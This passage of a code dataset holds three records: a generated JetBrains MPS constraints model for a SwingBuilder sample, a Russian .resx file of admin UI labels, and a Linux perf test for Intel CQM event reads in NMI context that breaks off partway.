role=\"1_3QMm\">\n <node concept=\"3clFbS\" id=\"k\" role=\"1pnPq1\">\n <node concept=\"3cpWs6\" id=\"m\" role=\"3cqZAp\">\n <node concept=\"1nCR9W\" id=\"n\" role=\"3cqZAk\">\n <property role=\"1nD$Q0\" value=\"jetbrains.mps.samples.SwingBuilder.constraints.ElementReference_Constraints\" />\n <node concept=\"3uibUv\" id=\"o\" role=\"2lIhxL\">\n <ref role=\"3uigEE\" to=\"ze1i:~ConstraintsDescriptor\" resolve=\"ConstraintsDescriptor\" />\n </node>\n </node>\n </node>\n </node>\n <node concept=\"3gn64h\" id=\"l\" role=\"1pnPq6\">\n <ref role=\"3gnhBz\" to=\"yo60:OfqpBCexUa\" resolve=\"ElementReference\" />\n </node>\n </node>\n <node concept=\"3clFbS\" id=\"j\" role=\"1prKM_\" />\n </node>\n <node concept=\"3cpWs6\" id=\"g\" role=\"3cqZAp\">\n <node concept=\"2ShNRf\" id=\"p\" role=\"3cqZAk\">\n <node concept=\"1pGfFk\" id=\"q\" role=\"2ShVmc\">\n <ref role=\"37wK5l\" to=\"79pl:~BaseConstraintsDescriptor.&lt;init&gt;(org.jetbrains.mps.openapi.language.SAbstractConcept)\" resolve=\"BaseConstraintsDescriptor\" />\n <node concept=\"37vLTw\" id=\"r\" role=\"37wK5m\">\n <ref role=\"3cqZAo\" node=\"c\" resolve=\"concept\" />\n </node>\n </node>\n </node>\n </node>\n </node>\n </node>\n </node>\n <node concept=\"312cEu\" id=\"s\">\n <property role=\"3GE5qa\" value=\"transform\" />\n <property role=\"TrG5h\" value=\"ElementReference_Constraints\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3Tm1VV\" id=\"t\" role=\"1B3o_S\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"3uibUv\" id=\"u\" role=\"1zkMxy\">\n <ref role=\"3uigEE\" to=\"79pl:~BaseConstraintsDescriptor\" resolve=\"BaseConstraintsDescriptor\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"3clFbW\" id=\"v\" role=\"jymVt\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3cqZAl\" id=\"y\" role=\"3clF45\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"3clFbS\" id=\"z\" role=\"3clF47\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"XkiVB\" id=\"_\" role=\"3cqZAp\">\n <ref role=\"37wK5l\" to=\"79pl:~BaseConstraintsDescriptor.&lt;init&gt;(org.jetbrains.mps.openapi.language.SAbstractConcept)\" resolve=\"BaseConstraintsDescriptor\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"1BaE9c\" id=\"A\" role=\"37wK5m\">\n <property role=\"1ouuDV\" value=\"CONCEPTS\" />\n <property role=\"1BaxDp\" value=\"ElementReference$XB\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"2YIFZM\" id=\"B\" role=\"1Bazha\">\n <ref role=\"1Pybhc\" to=\"2k9e:~MetaAdapterFactory\" resolve=\"MetaAdapterFactory\" />\n <ref role=\"37wK5l\" to=\"2k9e:~MetaAdapterFactory.getConcept(long,long,long,java.lang.String)\" resolve=\"getConcept\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"1adDum\" id=\"C\" role=\"37wK5m\">\n <property role=\"1adDun\" value=\"0xb4dbff0c8c314a79L\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"1adDum\" id=\"D\" role=\"37wK5m\">\n <property role=\"1adDun\" value=\"0xa45a98e5fd0530e7L\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"1adDum\" id=\"E\" role=\"37wK5m\">\n <property role=\"1adDun\" value=\"0xd0f6999e83a1e8aL\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"Xl_RD\" id=\"F\" role=\"37wK5m\">\n <property role=\"Xl_RC\" value=\"jetbrains.mps.samples.SwingBuilder.structure.ElementReference\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n </node>\n </node>\n </node>\n </node>\n <node concept=\"3Tm1VV\" id=\"$\" role=\"1B3o_S\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n </node>\n <node concept=\"2tJIrI\" id=\"w\" role=\"jymVt\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"3clFb_\" id=\"x\" role=\"jymVt\">\n <property role=\"1EzhhJ\" value=\"false\" />\n <property role=\"TrG5h\" value=\"getSpecifiedReferences\" />\n <property role=\"DiZV1\" value=\"false\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3Tmbuc\" id=\"G\" role=\"1B3o_S\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"3uibUv\" id=\"H\" role=\"3clF45\">\n <ref role=\"3uigEE\" to=\"33ny:~Map\" resolve=\"Map\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3uibUv\" id=\"K\" role=\"11_B2D\">\n <ref role=\"3uigEE\" to=\"c17a:~SReferenceLink\" resolve=\"SReferenceLink\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"3uibUv\" id=\"L\" role=\"11_B2D\">\n <ref role=\"3uigEE\" to=\"ze1i:~ReferenceConstraintsDescriptor\" resolve=\"ReferenceConstraintsDescriptor\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n </node>\n <node concept=\"3clFbS\" id=\"I\" role=\"3clF47\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3cpWs8\" id=\"M\" role=\"3cqZAp\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3cpWsn\" id=\"Q\" role=\"3cpWs9\">\n <property role=\"TrG5h\" value=\"d0\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3uibUv\" id=\"R\" role=\"1tU5fm\">\n <ref role=\"3uigEE\" to=\"79pl:~BaseReferenceConstraintsDescriptor\" resolve=\"BaseReferenceConstraintsDescriptor\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"2ShNRf\" id=\"S\" role=\"33vP2m\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"YeOm9\" id=\"T\" role=\"2ShVmc\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"1Y3b0j\" id=\"U\" role=\"YeSDq\">\n <property role=\"2bfB8j\" value=\"true\" />\n <ref role=\"1Y3XeK\" to=\"79pl:~BaseReferenceConstraintsDescriptor\" resolve=\"BaseReferenceConstraintsDescriptor\" />\n <ref role=\"37wK5l\" to=\"79pl:~BaseReferenceConstraintsDescriptor.&lt;init&gt;(org.jetbrains.mps.openapi.language.SReferenceLink,jetbrains.mps.smodel.runtime.ConstraintsDescriptor)\" resolve=\"BaseReferenceConstraintsDescriptor\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"1BaE9c\" id=\"V\" role=\"37wK5m\">\n <property role=\"1ouuDV\" value=\"LINKS\" />\n <property role=\"1BaxDp\" value=\"element$rQ9F\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"2YIFZM\" id=\"10\" role=\"1Bazha\">\n <ref role=\"37wK5l\" to=\"2k9e:~MetaAdapterFactory.getReferenceLink(long,long,long,long,java.lang.String)\" resolve=\"getReferenceLink\" />\n <ref role=\"1Pybhc\" to=\"2k9e:~MetaAdapterFactory\" resolve=\"MetaAdapterFactory\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"1adDum\" id=\"11\" role=\"37wK5m\">\n <property role=\"1adDun\" value=\"0xb4dbff0c8c314a79L\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"1adDum\" id=\"12\" role=\"37wK5m\">\n <property role=\"1adDun\" value=\"0xa45a98e5fd0530e7L\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"1adDum\" id=\"13\" role=\"37wK5m\">\n <property role=\"1adDun\" value=\"0xd0f6999e83a1e8aL\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"1adDum\" id=\"14\" role=\"37wK5m\">\n <property role=\"1adDun\" value=\"0xd0f6999e83a1e8bL\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"Xl_RD\" id=\"15\" role=\"37wK5m\">\n <property role=\"Xl_RC\" value=\"element\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n </node>\n </node>\n <node concept=\"3Tm1VV\" id=\"W\" role=\"1B3o_S\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"Xjq3P\" id=\"X\" role=\"37wK5m\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"3clFb_\" id=\"Y\" role=\"jymVt\">\n <property role=\"1EzhhJ\" value=\"false\" />\n <property role=\"TrG5h\" value=\"hasOwnScopeProvider\" />\n <property role=\"DiZV1\" value=\"false\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3Tm1VV\" id=\"16\" role=\"1B3o_S\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"10P_77\" id=\"17\" role=\"3clF45\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"3clFbS\" id=\"18\" role=\"3clF47\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3clFbF\" id=\"1a\" role=\"3cqZAp\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3clFbT\" id=\"1b\" role=\"3clFbG\">\n <property role=\"3clFbU\" value=\"true\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n </node>\n </node>\n <node concept=\"2AHcQZ\" id=\"19\" role=\"2AJF6D\">\n <ref role=\"2AI5Lk\" to=\"wyt6:~Override\" resolve=\"Override\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n </node>\n <node concept=\"3clFb_\" id=\"Z\" role=\"jymVt\">\n <property role=\"1EzhhJ\" value=\"false\" />\n <property role=\"TrG5h\" value=\"getScopeProvider\" />\n <property role=\"DiZV1\" value=\"false\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3Tm1VV\" id=\"1c\" role=\"1B3o_S\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"3uibUv\" id=\"1d\" role=\"3clF45\">\n <ref role=\"3uigEE\" to=\"ze1i:~ReferenceScopeProvider\" resolve=\"ReferenceScopeProvider\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"2AHcQZ\" id=\"1e\" role=\"2AJF6D\">\n <ref role=\"2AI5Lk\" to=\"mhfm:~Nullable\" resolve=\"Nullable\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"3clFbS\" id=\"1f\" role=\"3clF47\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3cpWs6\" id=\"1h\" role=\"3cqZAp\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"2ShNRf\" id=\"1i\" role=\"3cqZAk\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"YeOm9\" id=\"1j\" role=\"2ShVmc\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"1Y3b0j\" id=\"1k\" role=\"YeSDq\">\n <property role=\"2bfB8j\" value=\"true\" />\n <ref role=\"1Y3XeK\" to=\"79pl:~BaseScopeProvider\" resolve=\"BaseScopeProvider\" />\n <ref role=\"37wK5l\" to=\"79pl:~BaseScopeProvider.&lt;init&gt;()\" resolve=\"BaseScopeProvider\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3Tm1VV\" id=\"1l\" role=\"1B3o_S\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"3clFb_\" id=\"1m\" role=\"jymVt\">\n <property role=\"TrG5h\" value=\"getSearchScopeValidatorNode\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3Tm1VV\" id=\"1o\" role=\"1B3o_S\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"3clFbS\" id=\"1p\" role=\"3clF47\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3cpWs6\" id=\"1s\" role=\"3cqZAp\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"1dyn4i\" id=\"1t\" role=\"3cqZAk\">\n <property role=\"1zomUR\" value=\"true\" />\n <property role=\"1dyqJU\" value=\"breakingNode\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"2ShNRf\" id=\"1u\" role=\"1dyrYi\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"1pGfFk\" id=\"1v\" role=\"2ShVmc\">\n <ref role=\"37wK5l\" to=\"w1kc:~SNodePointer.&lt;init&gt;(java.lang.String,java.lang.String)\" resolve=\"SNodePointer\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"Xl_RD\" id=\"1w\" role=\"37wK5m\">\n <property role=\"Xl_RC\" value=\"r:7a1c88cb-66d9-4726-9b4a-d5dc6c544de7(jetbrains.mps.samples.SwingBuilder.constraints)\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"Xl_RD\" id=\"1x\" role=\"37wK5m\">\n <property role=\"Xl_RC\" value=\"6836281137582847989\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n </node>\n </node>\n </node>\n </node>\n </node>\n <node concept=\"3uibUv\" id=\"1q\" role=\"3clF45\">\n <ref role=\"3uigEE\" to=\"mhbf:~SNodeReference\" resolve=\"SNodeReference\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"2AHcQZ\" id=\"1r\" role=\"2AJF6D\">\n <ref role=\"2AI5Lk\" to=\"wyt6:~Override\" resolve=\"Override\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n </node>\n <node concept=\"3clFb_\" id=\"1n\" role=\"jymVt\">\n <property role=\"1EzhhJ\" value=\"false\" />\n <property role=\"TrG5h\" value=\"createScope\" />\n <property role=\"DiZV1\" value=\"false\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"37vLTG\" id=\"1y\" role=\"3clF46\">\n <property role=\"TrG5h\" value=\"_context\" />\n <property role=\"3TUv4t\" value=\"true\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3uibUv\" id=\"1B\" role=\"1tU5fm\">\n <ref role=\"3uigEE\" to=\"ze1i:~ReferenceConstraintsContext\" resolve=\"ReferenceConstraintsContext\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n </node>\n <node concept=\"3Tm1VV\" id=\"1z\" role=\"1B3o_S\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"3uibUv\" id=\"1$\" role=\"3clF45\">\n <ref role=\"3uigEE\" to=\"35tq:~Scope\" resolve=\"Scope\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"3clFbS\" id=\"1_\" role=\"3clF47\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3clFbF\" id=\"1C\" role=\"3cqZAp\">\n <uo k=\"s:originTrace\" v=\"n:6836281137582847991\" />\n <node concept=\"2YIFZM\" id=\"1D\" role=\"3clFbG\">\n <ref role=\"37wK5l\" to=\"o8zo:4IP40Bi3eAf\" resolve=\"forNamedElements\" />\n <ref role=\"1Pybhc\" to=\"o8zo:4IP40Bi3e_R\" resolve=\"ListScope\" />\n <uo k=\"s:originTrace\" v=\"n:6836281137582847992\" />\n <node concept=\"2OqwBi\" id=\"1E\" role=\"37wK5m\">\n <uo k=\"s:originTrace\" v=\"n:6836281137582847993\" />\n <node concept=\"2OqwBi\" id=\"1F\" role=\"2Oq$k0\">\n <uo k=\"s:originTrace\" v=\"n:6836281137582847994\" />\n <node concept=\"2OqwBi\" id=\"1H\" role=\"2Oq$k0\">\n <uo k=\"s:originTrace\" v=\"n:6836281137582848001\" />\n <node concept=\"1DoJHT\" id=\"1J\" role=\"2Oq$k0\">\n <property role=\"1Dpdpm\" value=\"getContextNode\" />\n <uo k=\"s:originTrace\" v=\"n:6836281137582848002\" />\n <node concept=\"3uibUv\" id=\"1L\" role=\"1Ez5kq\">\n <ref role=\"3uigEE\" to=\"wyt6:~Object\" resolve=\"Object\" />\n </node>\n <node concept=\"37vLTw\" id=\"1M\" role=\"1EMhIo\">\n <ref role=\"3cqZAo\" node=\"1y\" resolve=\"_context\" />\n </node>\n </node>\n <node concept=\"I4A8Y\" id=\"1K\" role=\"2OqNvi\">\n <uo k=\"s:originTrace\" v=\"n:6836281137582848003\" />\n </node>\n </node>\n <node concept=\"2RRcyG\" id=\"1I\" role=\"2OqNvi\">\n <ref role=\"2RRcyH\" to=\"yo60:OfqpBCexLx\" resolve=\"Filter\" />\n <uo k=\"s:originTrace\" v=\"n:6836281137582847996\" />\n </node>\n </node>\n <node concept=\"4Tj9Z\" id=\"1G\" role=\"2OqNvi\">\n <uo k=\"s:originTrace\" v=\"n:6836281137582847997\" />\n <node concept=\"2OqwBi\" id=\"1N\" role=\"576Qk\">\n <uo k=\"s:originTrace\" v=\"n:6836281137582847998\" />\n <node concept=\"2OqwBi\" id=\"1O\" role=\"2Oq$k0\">\n <uo k=\"s:originTrace\" v=\"n:6836281137582848004\" />\n <node concept=\"1DoJHT\" id=\"1Q\" role=\"2Oq$k0\">\n <property role=\"1Dpdpm\" value=\"getContextNode\" />\n <uo k=\"s:originTrace\" v=\"n:6836281137582848005\" />\n <node concept=\"3uibUv\" id=\"1S\" role=\"1Ez5kq\">\n <ref role=\"3uigEE\" to=\"wyt6:~Object\" resolve=\"Object\" />\n </node>\n <node concept=\"37vLTw\" id=\"1T\" role=\"1EMhIo\">\n <ref role=\"3cqZAo\" node=\"1y\" resolve=\"_context\" />\n </node>\n </node>\n <node concept=\"I4A8Y\" id=\"1R\" role=\"2OqNvi\">\n <uo k=\"s:originTrace\" v=\"n:6836281137582848006\" />\n </node>\n </node>\n <node concept=\"2RRcyG\" id=\"1P\" role=\"2OqNvi\">\n <ref role=\"2RRcyH\" to=\"yo60:OfqpBCexQl\" resolve=\"Map\" />\n <uo k=\"s:originTrace\" v=\"n:6836281137582848000\" />\n </node>\n </node>\n </node>\n </node>\n </node>\n </node>\n </node>\n <node concept=\"2AHcQZ\" id=\"1A\" role=\"2AJF6D\">\n <ref role=\"2AI5Lk\" to=\"wyt6:~Override\" resolve=\"Override\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n </node>\n </node>\n </node>\n </node>\n </node>\n </node>\n <node concept=\"2AHcQZ\" id=\"1g\" role=\"2AJF6D\">\n <ref role=\"2AI5Lk\" to=\"wyt6:~Override\" resolve=\"Override\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n </node>\n </node>\n </node>\n </node>\n </node>\n </node>\n <node concept=\"3cpWs8\" id=\"N\" role=\"3cqZAp\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3cpWsn\" id=\"1U\" role=\"3cpWs9\">\n <property role=\"TrG5h\" value=\"references\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3uibUv\" id=\"1V\" role=\"1tU5fm\">\n <ref role=\"3uigEE\" to=\"33ny:~Map\" resolve=\"Map\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3uibUv\" id=\"1X\" role=\"11_B2D\">\n <ref role=\"3uigEE\" to=\"c17a:~SReferenceLink\" resolve=\"SReferenceLink\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"3uibUv\" id=\"1Y\" role=\"11_B2D\">\n <ref role=\"3uigEE\" to=\"ze1i:~ReferenceConstraintsDescriptor\" resolve=\"ReferenceConstraintsDescriptor\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n </node>\n <node concept=\"2ShNRf\" id=\"1W\" role=\"33vP2m\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"1pGfFk\" id=\"1Z\" role=\"2ShVmc\">\n <ref role=\"37wK5l\" to=\"33ny:~HashMap.&lt;init&gt;()\" resolve=\"HashMap\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"3uibUv\" id=\"20\" role=\"1pMfVU\">\n <ref role=\"3uigEE\" to=\"c17a:~SReferenceLink\" resolve=\"SReferenceLink\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"3uibUv\" id=\"21\" role=\"1pMfVU\">\n <ref role=\"3uigEE\" to=\"ze1i:~ReferenceConstraintsDescriptor\" resolve=\"ReferenceConstraintsDescriptor\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n </node>\n </node>\n </node>\n </node>\n <node concept=\"3clFbF\" id=\"O\" role=\"3cqZAp\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"2OqwBi\" id=\"22\" role=\"3clFbG\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"37vLTw\" id=\"23\" role=\"2Oq$k0\">\n <ref role=\"3cqZAo\" node=\"1U\" resolve=\"references\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"liA8E\" id=\"24\" role=\"2OqNvi\">\n <ref role=\"37wK5l\" to=\"33ny:~Map.put(java.lang.Object,java.lang.Object)\" resolve=\"put\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"2OqwBi\" id=\"25\" role=\"37wK5m\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"37vLTw\" id=\"27\" role=\"2Oq$k0\">\n <ref role=\"3cqZAo\" node=\"Q\" resolve=\"d0\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n <node concept=\"liA8E\" id=\"28\" role=\"2OqNvi\">\n <ref role=\"37wK5l\" to=\"79pl:~BaseReferenceConstraintsDescriptor.getReference()\" resolve=\"getReference\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n </node>\n <node concept=\"37vLTw\" id=\"26\" role=\"37wK5m\">\n <ref role=\"3cqZAo\" node=\"Q\" resolve=\"d0\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n </node>\n </node>\n </node>\n <node concept=\"3clFbF\" id=\"P\" role=\"3cqZAp\">\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n <node concept=\"37vLTw\" id=\"29\" role=\"3clFbG\">\n <ref role=\"3cqZAo\" node=\"1U\" resolve=\"references\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n </node>\n </node>\n <node concept=\"2AHcQZ\" id=\"J\" role=\"2AJF6D\">\n <ref role=\"2AI5Lk\" to=\"wyt6:~Override\" resolve=\"Override\" />\n <uo k=\"s:originTrace\" v=\"n:941086956890759281\" />\n </node>\n </node>\n </node>\n <node concept=\"39dXUE\" id=\"2a\">\n <node concept=\"39e2AJ\" id=\"2b\" role=\"39e2AI\">\n <property role=\"39e3Y2\" value=\"aspectDescriptorClass\" />\n <node concept=\"39e2AG\" id=\"2c\" role=\"39e3Y0\">\n <property role=\"2mV_xN\" value=\"true\" />\n <node concept=\"39e2AT\" id=\"2d\" role=\"39e2AY\">\n <ref role=\"39e2AS\" node=\"0\" resolve=\"ConstraintsAspectDescriptor\" />\n </node>\n </node>\n </node>\n </node>\n</model>\n\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n <resheader name=\"resmimetype\">\n <value>text/microsoft-resx</value>\n </resheader>\n <resheader name=\"version\">\n <value>2.0</value>\n </resheader>\n <resheader name=\"reader\">\n <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n </resheader>\n <resheader name=\"writer\">\n <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n </resheader>\n <data name=\"Content\" xml:space=\"preserve\">\n <value>Контент</value>\n </data>\n <data name=\"Settings\" xml:space=\"preserve\">\n <value>Настройки</value>\n </data>\n <data name=\"System\" xml:space=\"preserve\">\n <value>Система</value>\n </data>\n <data name=\"Pages\" xml:space=\"preserve\">\n <value>Страницы</value>\n </data>\n <data name=\"Media\" xml:space=\"preserve\">\n <value>Медиа</value>\n </data>\n <data name=\"Aliases\" xml:space=\"preserve\">\n <value>Псевдонимы</value>\n </data>\n <data name=\"Sites\" xml:space=\"preserve\">\n <value>Сайты</value>\n </data>\n <data name=\"Config\" xml:space=\"preserve\">\n <value>Конфигурация</value>\n </data>\n <data name=\"Modules\" xml:space=\"preserve\">\n <value>Модули</value>\n </data>\n <data name=\"Logout\" xml:space=\"preserve\">\n <value>Выйти</value>\n </data>\n <data name=\"Comments\" xml:space=\"preserve\">\n <value>Комментарии</value>\n </data>\n <data name=\"Roles\" xml:space=\"preserve\">\n <value>Роли</value>\n </data>\n <data name=\"Users\" xml:space=\"preserve\">\n <value>Пользователи</value>\n </data>\n</root>\n"} {"text": "#include \"tests/tests.h\"\n#include \"perf.h\"\n#include \"cloexec.h\"\n#include \"debug.h\"\n#include \"evlist.h\"\n#include \"evsel.h\"\n#include \"arch-tests.h\"\n\n#include <sys/mman.h>\n#include <string.h>\n\nstatic pid_t spawn(void)\n{\n\tpid_t pid;\n\n\tpid = fork();\n\tif (pid)\n\t\treturn pid;\n\n\twhile(1)\n\t\tsleep(5);\n\treturn 0;\n}\n\n/*\n * Create an event group that contains both a sampled hardware\n * (cpu-cycles) and software (intel_cqm/llc_occupancy/) event. We then\n * wait for the hardware perf counter to overflow and generate a PMI,\n * which triggers an event read for both of the events in the group.\n *\n * Since reading Intel CQM event counters requires sending SMP IPIs, the\n * CQM pmu needs to handle the above situation gracefully, and return\n * the last read counter value to avoid triggering a WARN_ON_ONCE() in\n * smp_call_function_many() caused by sending IPIs from NMI context.\n */\nint test__intel_cqm_count_nmi_context(int subtest __maybe_unused)\n{\n\tstruct perf_evlist *evlist = NULL;\n\tstruct perf_evsel *evsel = NULL;\n\tstruct perf_event_attr pe;\n\tint i, fd[2], flag, ret;\n\tsize_t mmap_len;\n\tvoid *event;\n\tpid_t pid;\n\tint err = TEST_FAIL;\n\n\tflag = perf_event_open_cloexec_flag();\n\n\tevlist = perf_evlist__new();\n\tif (!evlist) {\n\t\tpr_debug(\"perf_evlist__new failed\\n\");\n\t\treturn TEST_FAIL;\n\t}\n\n\tret = parse_events(evlist, \"intel_cqm/llc_occupancy/\", NULL);\n\tif (ret) {\n\t\tpr_debug(\"parse_events failed, is \\\"intel_cqm/llc_occupancy/\\\" available?\\n\");\n\t\terr = TEST_SKIP;\n\t\tgoto out;\n\t}\n\n\tevsel = perf_evlist__first(evlist);\n\tif (!evsel) {\n\t\tpr_debug(\"perf_evlist__first failed\\n\");\n\t\tgoto out;\n\t}\n\n\tmemset(&pe, 0, sizeof(pe));\n\tpe.size = sizeof(pe);\n\n\tpe.type = PERF_TYPE_HARDWARE;\n\tpe.config = PERF_COUNT_HW_CPU_CYCLES;\n\tpe.read_format = PERF_FORMAT_GROUP;\n\n\tpe.sample_period = 128;\n\tpe.sample_type = PERF_SAMPLE_IP | PERF_SAMPLE_READ;\n\n\tpid = spawn();\n\n\tfd[0] = sys_perf_event_open(&pe, pid, -1, -1, flag);\n\tif (fd[0] < 0) {\n\t\tpr_debug(\"failed to open event\\n\");\n\t\tgoto out;\n\t}\n\n\tmemset(&pe, 0, sizeof(pe));\n\tpe.size = sizeof(pe);\n\n\tpe.type = evsel->attr.type;\n\tpe.config = evsel->attr.config;\n\n\tfd[1] = sys_perf_event_open(&pe, pid, -1, fd[0], flag);\n\tif (fd[1] < 0) {\n\t\tpr_debug(\"failed to open event\\n\");\n\t\tgoto out;\n\t}\n\n\t/*\n\t * Pick a power-of-two number of pages + 1 for the meta-data\n\t * page (struct perf_event_mmap_page). See tools/perf/design.txt.\n\t */\n\tmmap_len = page_size * 65;\n\n\tevent = mmap(NULL, mmap_len, PROT_READ, MAP_SHARED, fd[0], 0);\n\tif (event == (void *)(-1)) {\n\t\tpr_debug(\"failed to mmap %d\\n\", errno);\n\t\tgoto 